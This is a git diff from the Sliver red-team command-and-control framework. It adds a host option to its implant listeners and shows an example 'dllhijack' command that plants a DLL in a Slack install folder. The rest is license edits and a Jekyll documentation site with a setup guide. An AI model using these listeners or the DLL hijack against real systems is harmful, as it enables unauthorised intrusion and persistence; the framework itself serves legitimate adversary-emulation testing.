dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
|
||||
|
||||
# Use a local DLL as the reference DLL
|
||||
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /tmp/msasn1.dll.orig --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
|
||||
`
|
||||
)
|
||||
|
||||
|
||||
@@ -37,11 +37,13 @@ func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
|
||||
lhost := ctx.Flags.String("lhost")
|
||||
lport := uint16(ctx.Flags.Int("lport"))
|
||||
|
||||
con.PrintInfof("Starting DNS listener with parent domain(s) %v ...\n", domains)
|
||||
dns, err := con.Rpc.StartDNSListener(context.Background(), &clientpb.DNSListenerReq{
|
||||
Domains: domains,
|
||||
Host: lhost,
|
||||
Port: uint32(lport),
|
||||
Canaries: !ctx.Flags.Bool("no-canaries"),
|
||||
Persistent: ctx.Flags.Bool("persistent"),
|
||||
|
||||
@@ -29,12 +29,14 @@ import (
|
||||
// HTTPListenerCmd - Start an HTTP listener
|
||||
func HTTPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
domain := ctx.Flags.String("domain")
|
||||
lhost := ctx.Flags.String("lhost")
|
||||
lport := uint16(ctx.Flags.Int("lport"))
|
||||
|
||||
con.PrintInfof("Starting HTTP %s:%d listener ...\n", domain, lport)
|
||||
http, err := con.Rpc.StartHTTPListener(context.Background(), &clientpb.HTTPListenerReq{
|
||||
Domain: domain,
|
||||
Website: ctx.Flags.String("website"),
|
||||
Host: lhost,
|
||||
Port: uint32(lport),
|
||||
Secure: false,
|
||||
Persistent: ctx.Flags.Bool("persistent"),
|
||||
|
||||
@@ -31,6 +31,7 @@ import (
|
||||
func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
domain := ctx.Flags.String("domain")
|
||||
website := ctx.Flags.String("website")
|
||||
lhost := ctx.Flags.String("lhost")
|
||||
lport := uint16(ctx.Flags.Int("lport"))
|
||||
|
||||
cert, key, err := getLocalCertificatePair(ctx)
|
||||
@@ -44,6 +45,7 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
https, err := con.Rpc.StartHTTPSListener(context.Background(), &clientpb.HTTPListenerReq{
|
||||
Domain: domain,
|
||||
Website: website,
|
||||
Host: lhost,
|
||||
Port: uint32(lport),
|
||||
Secure: true,
|
||||
Cert: cert,
|
||||
|
||||
@@ -28,12 +28,12 @@ import (
|
||||
|
||||
// MTLSListenerCmd - Start an mTLS listener
|
||||
func MTLSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
server := ctx.Flags.String("server")
|
||||
lhost := ctx.Flags.String("lhost")
|
||||
lport := uint16(ctx.Flags.Int("lport"))
|
||||
|
||||
con.PrintInfof("Starting mTLS listener ...\n")
|
||||
mtls, err := con.Rpc.StartMTLSListener(context.Background(), &clientpb.MTLSListenerReq{
|
||||
Host: server,
|
||||
Host: lhost,
|
||||
Port: uint32(lport),
|
||||
Persistent: ctx.Flags.Bool("persistent"),
|
||||
})
|
||||
|
||||
@@ -52,7 +52,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
profile := generate.GetImplantProfileByName(profileName, con)
|
||||
if profile != nil {
|
||||
if profile == nil {
|
||||
con.PrintErrorf("Profile not found\n")
|
||||
return
|
||||
}
|
||||
|
||||
@@ -38,7 +38,7 @@ import (
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// --- Loot Command ---
|
||||
// LootCmd - The loot root command
|
||||
func LootCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
filter := ctx.Flags.String("filter")
|
||||
var allLoot *clientpb.AllLoot
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
Sessions
|
||||
=========
|
||||
|
||||
Session related command implementations.
|
||||
@@ -4,12 +4,12 @@ import (
|
||||
"context"
|
||||
"errors"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"gopkg.in/AlecAivazis/survey.v1"
|
||||
)
|
||||
|
||||
// KillCmd - Kill the active session (not to be confused with TerminateCmd)
|
||||
|
||||
@@ -10,10 +10,10 @@ import (
|
||||
"path"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"gopkg.in/AlecAivazis/survey.v1"
|
||||
)
|
||||
|
||||
// WebsitesAddContentCmd - Add static content to a website
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
Console (Client)
|
||||
=================
|
||||
|
||||
Contains the entrypoint for the console client
|
||||
@@ -0,0 +1,4 @@
|
||||
Constants
|
||||
==========
|
||||
|
||||
A package of re-used strings and other constants
|
||||
@@ -199,6 +199,7 @@ const (
|
||||
WgPortFwdStr = "wg-portfwd"
|
||||
MonitorStr = "monitor"
|
||||
SSHStr = "ssh"
|
||||
DLLHijackStr = "dllhijack"
|
||||
|
||||
PortfwdStr = "portfwd"
|
||||
|
||||
|
||||
+43
-42
@@ -149,48 +149,48 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
======================================================================================================
|
||||
|
||||
// Copyright (c) 2009 The XGB Authors. All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without
|
||||
// modification, are permitted provided that the following conditions are
|
||||
// met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright
|
||||
// notice, this list of conditions and the following disclaimer.
|
||||
// * Redistributions in binary form must reproduce the above
|
||||
// copyright notice, this list of conditions and the following disclaimer
|
||||
// in the documentation and/or other materials provided with the
|
||||
// distribution.
|
||||
// * Neither the name of Google Inc. nor the names of its
|
||||
// contributors may be used to endorse or promote products derived from
|
||||
// this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
//
|
||||
// Subject to the terms and conditions of this License, Google hereby
|
||||
// grants to You a perpetual, worldwide, non-exclusive, no-charge,
|
||||
// royalty-free, irrevocable (except as stated in this section) patent
|
||||
// license to make, have made, use, offer to sell, sell, import, and
|
||||
// otherwise transfer this implementation of XGB, where such license
|
||||
// applies only to those patent claims licensable by Google that are
|
||||
// necessarily infringed by use of this implementation of XGB. If You
|
||||
// institute patent litigation against any entity (including a
|
||||
// cross-claim or counterclaim in a lawsuit) alleging that this
|
||||
// implementation of XGB or a Contribution incorporated within this
|
||||
// implementation of XGB constitutes direct or contributory patent
|
||||
// infringement, then any patent licenses granted to You under this
|
||||
// License for this implementation of XGB shall terminate as of the date
|
||||
// such litigation is filed.
|
||||
Copyright (c) 2009 The XGB Authors. All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are
|
||||
met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above
|
||||
copyright notice, this list of conditions and the following disclaimer
|
||||
in the documentation and/or other materials provided with the
|
||||
distribution.
|
||||
* Neither the name of Google Inc. nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
Subject to the terms and conditions of this License, Google hereby
|
||||
grants to You a perpetual, worldwide, non-exclusive, no-charge,
|
||||
royalty-free, irrevocable (except as stated in this section) patent
|
||||
license to make, have made, use, offer to sell, sell, import, and
|
||||
otherwise transfer this implementation of XGB, where such license
|
||||
applies only to those patent claims licensable by Google that are
|
||||
necessarily infringed by use of this implementation of XGB. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that this
|
||||
implementation of XGB or a Contribution incorporated within this
|
||||
implementation of XGB constitutes direct or contributory patent
|
||||
infringement, then any patent licenses granted to You under this
|
||||
License for this implementation of XGB shall terminate as of the date
|
||||
such litigation is filed.
|
||||
|
||||
======================================================================================================
|
||||
|
||||
@@ -241,6 +241,7 @@ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
======================================================================================================
|
||||
|
||||
Copyright 2017 Google Inc.
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
|
||||
@@ -0,0 +1,3 @@
|
||||
_site
|
||||
.sass-cache
|
||||
.jekyll-metadata
|
||||
@@ -0,0 +1,24 @@
|
||||
---
|
||||
layout: default
|
||||
---
|
||||
|
||||
<style type="text/css" media="screen">
|
||||
.container {
|
||||
margin: 10px auto;
|
||||
max-width: 600px;
|
||||
text-align: center;
|
||||
}
|
||||
h1 {
|
||||
margin: 30px 0;
|
||||
font-size: 4em;
|
||||
line-height: 1;
|
||||
letter-spacing: -1px;
|
||||
}
|
||||
</style>
|
||||
|
||||
<div class="container">
|
||||
<h1>404</h1>
|
||||
|
||||
<p><strong>Page not found :(</strong></p>
|
||||
<p>The requested page could not be found.</p>
|
||||
</div>
|
||||
@@ -0,0 +1,39 @@
|
||||
source "https://rubygems.org"
|
||||
|
||||
# Hello! This is where you manage which Jekyll version is used to run.
|
||||
# When you want to use a different version, change it below, save the
|
||||
# file and run `bundle install`. Run Jekyll with `bundle exec`, like so:
|
||||
#
|
||||
# bundle exec jekyll serve
|
||||
#
|
||||
# This will help ensure the proper Jekyll version is running.
|
||||
# Happy Jekylling!
|
||||
gem "jekyll", "~> 3.9.0"
|
||||
|
||||
# This is the default theme for new Jekyll sites. You may change this to anything you like.
|
||||
# gem "minima", "~> 2.0"
|
||||
gem "github-pages", group: :jekyll_plugins
|
||||
|
||||
# If you want to use GitHub Pages, remove the "gem "jekyll"" above and
|
||||
# uncomment the line below. To upgrade, run `bundle update github-pages`.
|
||||
# gem "github-pages", group: :jekyll_plugins
|
||||
|
||||
# If you have any plugins, put them here!
|
||||
group :jekyll_plugins do
|
||||
gem "jekyll-feed", "~> 0.6"
|
||||
end
|
||||
|
||||
# Windows does not include zoneinfo files, so bundle the tzinfo-data gem
|
||||
# and associated library.
|
||||
install_if -> { RUBY_PLATFORM =~ %r!mingw|mswin|java! } do
|
||||
gem "tzinfo", "~> 1.2"
|
||||
gem "tzinfo-data"
|
||||
end
|
||||
|
||||
# Performance-booster for watching directories on Windows
|
||||
gem "wdm", "~> 0.1.0", :install_if => Gem.win_platform?
|
||||
|
||||
# kramdown v2 ships without the gfm parser by default. If you're using
|
||||
# kramdown v1, comment out this line.
|
||||
gem "kramdown-parser-gfm"
|
||||
|
||||
@@ -0,0 +1,286 @@
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
activesupport (6.0.4)
|
||||
concurrent-ruby (~> 1.0, >= 1.0.2)
|
||||
i18n (>= 0.7, < 2)
|
||||
minitest (~> 5.1)
|
||||
tzinfo (~> 1.1)
|
||||
zeitwerk (~> 2.2, >= 2.2.2)
|
||||
addressable (2.8.0)
|
||||
public_suffix (>= 2.0.2, < 5.0)
|
||||
coffee-script (2.4.1)
|
||||
coffee-script-source
|
||||
execjs
|
||||
coffee-script-source (1.11.1)
|
||||
colorator (1.1.0)
|
||||
commonmarker (0.17.13)
|
||||
ruby-enum (~> 0.5)
|
||||
concurrent-ruby (1.1.9)
|
||||
dnsruby (1.61.7)
|
||||
simpleidn (~> 0.1)
|
||||
em-websocket (0.5.2)
|
||||
eventmachine (>= 0.12.9)
|
||||
http_parser.rb (~> 0.6.0)
|
||||
ethon (0.14.0)
|
||||
ffi (>= 1.15.0)
|
||||
eventmachine (1.2.7)
|
||||
execjs (2.8.1)
|
||||
faraday (1.5.0)
|
||||
faraday-em_http (~> 1.0)
|
||||
faraday-em_synchrony (~> 1.0)
|
||||
faraday-excon (~> 1.1)
|
||||
faraday-httpclient (~> 1.0.1)
|
||||
faraday-net_http (~> 1.0)
|
||||
faraday-net_http_persistent (~> 1.1)
|
||||
faraday-patron (~> 1.0)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
ruby2_keywords (>= 0.0.4)
|
||||
faraday-em_http (1.0.0)
|
||||
faraday-em_synchrony (1.0.0)
|
||||
faraday-excon (1.1.0)
|
||||
faraday-httpclient (1.0.1)
|
||||
faraday-net_http (1.0.1)
|
||||
faraday-net_http_persistent (1.1.0)
|
||||
faraday-patron (1.0.0)
|
||||
ffi (1.15.3)
|
||||
forwardable-extended (2.6.0)
|
||||
gemoji (3.0.1)
|
||||
github-pages (215)
|
||||
github-pages-health-check (= 1.17.2)
|
||||
jekyll (= 3.9.0)
|
||||
jekyll-avatar (= 0.7.0)
|
||||
jekyll-coffeescript (= 1.1.1)
|
||||
jekyll-commonmark-ghpages (= 0.1.6)
|
||||
jekyll-default-layout (= 0.1.4)
|
||||
jekyll-feed (= 0.15.1)
|
||||
jekyll-gist (= 1.5.0)
|
||||
jekyll-github-metadata (= 2.13.0)
|
||||
jekyll-mentions (= 1.6.0)
|
||||
jekyll-optional-front-matter (= 0.3.2)
|
||||
jekyll-paginate (= 1.1.0)
|
||||
jekyll-readme-index (= 0.3.0)
|
||||
jekyll-redirect-from (= 0.16.0)
|
||||
jekyll-relative-links (= 0.6.1)
|
||||
jekyll-remote-theme (= 0.4.3)
|
||||
jekyll-sass-converter (= 1.5.2)
|
||||
jekyll-seo-tag (= 2.7.1)
|
||||
jekyll-sitemap (= 1.4.0)
|
||||
jekyll-swiss (= 1.0.0)
|
||||
jekyll-theme-architect (= 0.1.1)
|
||||
jekyll-theme-cayman (= 0.1.1)
|
||||
jekyll-theme-dinky (= 0.1.1)
|
||||
jekyll-theme-hacker (= 0.1.2)
|
||||
jekyll-theme-leap-day (= 0.1.1)
|
||||
jekyll-theme-merlot (= 0.1.1)
|
||||
jekyll-theme-midnight (= 0.1.1)
|
||||
jekyll-theme-minimal (= 0.1.1)
|
||||
jekyll-theme-modernist (= 0.1.1)
|
||||
jekyll-theme-primer (= 0.5.4)
|
||||
jekyll-theme-slate (= 0.1.1)
|
||||
jekyll-theme-tactile (= 0.1.1)
|
||||
jekyll-theme-time-machine (= 0.1.1)
|
||||
jekyll-titles-from-headings (= 0.5.3)
|
||||
jemoji (= 0.12.0)
|
||||
kramdown (= 2.3.1)
|
||||
kramdown-parser-gfm (= 1.1.0)
|
||||
liquid (= 4.0.3)
|
||||
mercenary (~> 0.3)
|
||||
minima (= 2.5.1)
|
||||
nokogiri (>= 1.10.4, < 2.0)
|
||||
rouge (= 3.26.0)
|
||||
terminal-table (~> 1.4)
|
||||
github-pages-health-check (1.17.2)
|
||||
addressable (~> 2.3)
|
||||
dnsruby (~> 1.60)
|
||||
octokit (~> 4.0)
|
||||
public_suffix (>= 2.0.2, < 5.0)
|
||||
typhoeus (~> 1.3)
|
||||
html-pipeline (2.14.0)
|
||||
activesupport (>= 2)
|
||||
nokogiri (>= 1.4)
|
||||
http_parser.rb (0.6.0)
|
||||
i18n (0.9.5)
|
||||
concurrent-ruby (~> 1.0)
|
||||
jekyll (3.9.0)
|
||||
addressable (~> 2.4)
|
||||
colorator (~> 1.0)
|
||||
em-websocket (~> 0.5)
|
||||
i18n (~> 0.7)
|
||||
jekyll-sass-converter (~> 1.0)
|
||||
jekyll-watch (~> 2.0)
|
||||
kramdown (>= 1.17, < 3)
|
||||
liquid (~> 4.0)
|
||||
mercenary (~> 0.3.3)
|
||||
pathutil (~> 0.9)
|
||||
rouge (>= 1.7, < 4)
|
||||
safe_yaml (~> 1.0)
|
||||
jekyll-avatar (0.7.0)
|
||||
jekyll (>= 3.0, < 5.0)
|
||||
jekyll-coffeescript (1.1.1)
|
||||
coffee-script (~> 2.2)
|
||||
coffee-script-source (~> 1.11.1)
|
||||
jekyll-commonmark (1.3.1)
|
||||
commonmarker (~> 0.14)
|
||||
jekyll (>= 3.7, < 5.0)
|
||||
jekyll-commonmark-ghpages (0.1.6)
|
||||
commonmarker (~> 0.17.6)
|
||||
jekyll-commonmark (~> 1.2)
|
||||
rouge (>= 2.0, < 4.0)
|
||||
jekyll-default-layout (0.1.4)
|
||||
jekyll (~> 3.0)
|
||||
jekyll-feed (0.15.1)
|
||||
jekyll (>= 3.7, < 5.0)
|
||||
jekyll-gist (1.5.0)
|
||||
octokit (~> 4.2)
|
||||
jekyll-github-metadata (2.13.0)
|
||||
jekyll (>= 3.4, < 5.0)
|
||||
octokit (~> 4.0, != 4.4.0)
|
||||
jekyll-mentions (1.6.0)
|
||||
html-pipeline (~> 2.3)
|
||||
jekyll (>= 3.7, < 5.0)
|
||||
jekyll-optional-front-matter (0.3.2)
|
||||
jekyll (>= 3.0, < 5.0)
|
||||
jekyll-paginate (1.1.0)
|
||||
jekyll-readme-index (0.3.0)
|
||||
jekyll (>= 3.0, < 5.0)
|
||||
jekyll-redirect-from (0.16.0)
|
||||
jekyll (>= 3.3, < 5.0)
|
||||
jekyll-relative-links (0.6.1)
|
||||
jekyll (>= 3.3, < 5.0)
|
||||
jekyll-remote-theme (0.4.3)
|
||||
addressable (~> 2.0)
|
||||
jekyll (>= 3.5, < 5.0)
|
||||
jekyll-sass-converter (>= 1.0, <= 3.0.0, != 2.0.0)
|
||||
rubyzip (>= 1.3.0, < 3.0)
|
||||
jekyll-sass-converter (1.5.2)
|
||||
sass (~> 3.4)
|
||||
jekyll-seo-tag (2.7.1)
|
||||
jekyll (>= 3.8, < 5.0)
|
||||
jekyll-sitemap (1.4.0)
|
||||
jekyll (>= 3.7, < 5.0)
|
||||
jekyll-swiss (1.0.0)
|
||||
jekyll-theme-architect (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-cayman (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-dinky (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-hacker (0.1.2)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-leap-day (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-merlot (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-midnight (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-minimal (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-modernist (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-primer (0.5.4)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-github-metadata (~> 2.9)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-slate (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-tactile (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-time-machine (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-titles-from-headings (0.5.3)
|
||||
jekyll (>= 3.3, < 5.0)
|
||||
jekyll-watch (2.2.1)
|
||||
listen (~> 3.0)
|
||||
jemoji (0.12.0)
|
||||
gemoji (~> 3.0)
|
||||
html-pipeline (~> 2.2)
|
||||
jekyll (>= 3.0, < 5.0)
|
||||
kramdown (2.3.1)
|
||||
rexml
|
||||
kramdown-parser-gfm (1.1.0)
|
||||
kramdown (~> 2.0)
|
||||
liquid (4.0.3)
|
||||
listen (3.5.1)
|
||||
rb-fsevent (~> 0.10, >= 0.10.3)
|
||||
rb-inotify (~> 0.9, >= 0.9.10)
|
||||
mercenary (0.3.6)
|
||||
mini_portile2 (2.5.3)
|
||||
minima (2.5.1)
|
||||
jekyll (>= 3.5, < 5.0)
|
||||
jekyll-feed (~> 0.9)
|
||||
jekyll-seo-tag (~> 2.1)
|
||||
minitest (5.14.4)
|
||||
multipart-post (2.1.1)
|
||||
nokogiri (1.11.7)
|
||||
mini_portile2 (~> 2.5.0)
|
||||
racc (~> 1.4)
|
||||
octokit (4.21.0)
|
||||
faraday (>= 0.9)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
pathutil (0.16.2)
|
||||
forwardable-extended (~> 2.6)
|
||||
public_suffix (4.0.6)
|
||||
racc (1.5.2)
|
||||
rb-fsevent (0.11.0)
|
||||
rb-inotify (0.10.1)
|
||||
ffi (~> 1.0)
|
||||
rexml (3.2.5)
|
||||
rouge (3.26.0)
|
||||
ruby-enum (0.9.0)
|
||||
i18n
|
||||
ruby2_keywords (0.0.4)
|
||||
rubyzip (2.3.2)
|
||||
safe_yaml (1.0.5)
|
||||
sass (3.7.4)
|
||||
sass-listen (~> 4.0.0)
|
||||
sass-listen (4.0.0)
|
||||
rb-fsevent (~> 0.9, >= 0.9.4)
|
||||
rb-inotify (~> 0.9, >= 0.9.7)
|
||||
sawyer (0.8.2)
|
||||
addressable (>= 2.3.5)
|
||||
faraday (> 0.8, < 2.0)
|
||||
simpleidn (0.2.1)
|
||||
unf (~> 0.1.4)
|
||||
terminal-table (1.8.0)
|
||||
unicode-display_width (~> 1.1, >= 1.1.1)
|
||||
thread_safe (0.3.6)
|
||||
typhoeus (1.4.0)
|
||||
ethon (>= 0.9.0)
|
||||
tzinfo (1.2.9)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2021.1)
|
||||
tzinfo (>= 1.0.0)
|
||||
unf (0.1.4)
|
||||
unf_ext
|
||||
unf_ext (0.0.7.7)
|
||||
unicode-display_width (1.7.0)
|
||||
wdm (0.1.1)
|
||||
zeitwerk (2.4.2)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
DEPENDENCIES
|
||||
github-pages
|
||||
jekyll (~> 3.9.0)
|
||||
jekyll-feed (~> 0.6)
|
||||
kramdown-parser-gfm
|
||||
tzinfo (~> 1.2)
|
||||
tzinfo-data
|
||||
wdm (~> 0.1.0)
|
||||
|
||||
BUNDLED WITH
|
||||
1.17.3
|
||||
+42
-1
@@ -1 +1,42 @@
|
||||
theme: jekyll-theme-hacker
|
||||
# Welcome to Jekyll!
|
||||
#
|
||||
# This config file is meant for settings that affect your whole blog, values
|
||||
# which you are expected to set up once and rarely edit after that. If you find
|
||||
# yourself editing this file very often, consider using Jekyll's data files
|
||||
# feature for the data you need to update frequently.
|
||||
#
|
||||
# For technical reasons, this file is *NOT* reloaded automatically when you use
|
||||
# 'bundle exec jekyll serve'. If you change this file, please restart the server process.
|
||||
|
||||
# Site settings
|
||||
# These are used to personalize your new site. If you look in the HTML files,
|
||||
# you will see them accessed via {{ site.title }}, {{ site.email }}, and so on.
|
||||
# You can create any custom variable you would like, and they will be accessible
|
||||
# in the templates via {{ site.myvariable }}.
|
||||
title: Sliver
|
||||
description: >- # this means to ignore newlines until "baseurl:"
|
||||
Sliver is an open source cross-platform adversary emulation/red team framework.
|
||||
|
||||
baseurl: "" # the subpath of your site, e.g. /blog
|
||||
url: "https://sliver.sh/"
|
||||
|
||||
github:
|
||||
latest_url: https://github.com/BishopFox/sliver/releases/latest
|
||||
repository_url: https://github.com/BishopFox/sliver
|
||||
|
||||
# Build settings
|
||||
markdown: kramdown
|
||||
theme: jekyll-theme-hacker
|
||||
show_downloads: true
|
||||
plugins:
|
||||
- jekyll-feed
|
||||
|
||||
# Exclude from processing.
|
||||
# The following items will not be processed, by default. Create a custom list
|
||||
# to override the default setting.
|
||||
exclude:
|
||||
- Gemfile
|
||||
- Gemfile.lock
|
||||
- CNAME
|
||||
- .gitignore
|
||||
- _site
|
||||
@@ -0,0 +1,39 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="{{ site.lang | default: "en-US" }}">
|
||||
<head>
|
||||
<meta charset='utf-8'>
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<link rel="stylesheet" href="{{ '/assets/css/style.css?v=' | append: site.github.build_revision | relative_url }}">
|
||||
|
||||
{% seo %}
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<header>
|
||||
<div class="container">
|
||||
<a id="a-title" href="{{ '/' | relative_url }}">
|
||||
<h1>{{ site.title | default: site.github.repository_name }}</h1>
|
||||
</a>
|
||||
<h2>{{ site.description | default: site.github.project_tagline }}</h2>
|
||||
|
||||
<section id="downloads">
|
||||
{% if site.show_downloads %}
|
||||
<a href="{{ site.github.latest_url }}" target="_blank" class="btn">Latest Release</a>
|
||||
{% endif %}
|
||||
<a href="{{ site.github.repository_url }}" target="_blank" class="btn btn-github"><span class="icon"></span>View on GitHub</a>
|
||||
</section>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<div class="container">
|
||||
<section id="main_content">
|
||||
|
||||
{{ content }}
|
||||
|
||||
</section>
|
||||
</div>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
---
|
||||
layout: default
|
||||
---
|
||||
|
||||
<small>{{ page.date | date: "%-d %B %Y" }}</small>
|
||||
<h1>{{ page.title }}</h1>
|
||||
|
||||
<p class="view">by {{ page.author | default: site.author }}</p>
|
||||
|
||||
{{ content }}
|
||||
|
||||
{% if page.tags %}
|
||||
<small>tags: <em>{{ page.tags | join: "</em> - <em>" }}</em></small>
|
||||
{% endif %}
|
||||
@@ -0,0 +1,143 @@
|
||||
---
|
||||
layout: post
|
||||
title: "Getting Started"
|
||||
author: "moloch"
|
||||
date: 2021-07-07 09:01:33 -0500
|
||||
categories: sliver
|
||||
---
|
||||
|
||||
# 1. Server Setup
|
||||
|
||||
The first thing you'll need to do is setup a Sliver server.
|
||||
|
||||
The server supports Linux, Windows, and MacOS however we recommend running the server on a Linux or MacOS host, as some features may be more difficult to get working on a Windows server. However, the Windows client should work just fine when accessing a Linux/MacOS server.
|
||||
|
||||
Download the latest [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. The first time you run the server it'll need to unpack some assets, which may take a minute or two, subsequent start ups should be faster.
|
||||
|
||||
__NOTE:__ Sliver has two external dependencies for _optional_ features: MinGW and Metasploit. To enable shellcode/staged payloads you need to install MinGW. To enable MSF integrations you'll need Metasploit installed.
|
||||
|
||||
The `Dockerfile` build of Sliver is mostly designed to run the unit tests but includes both MinGW and Metasploit. If you plan to run the server using Docker you'll need to forward the appropriate TCP ports (e.g. 80, 443, 31337) yourself.
|
||||
|
||||
|
||||
### MinGW Setup (Optional)
|
||||
|
||||
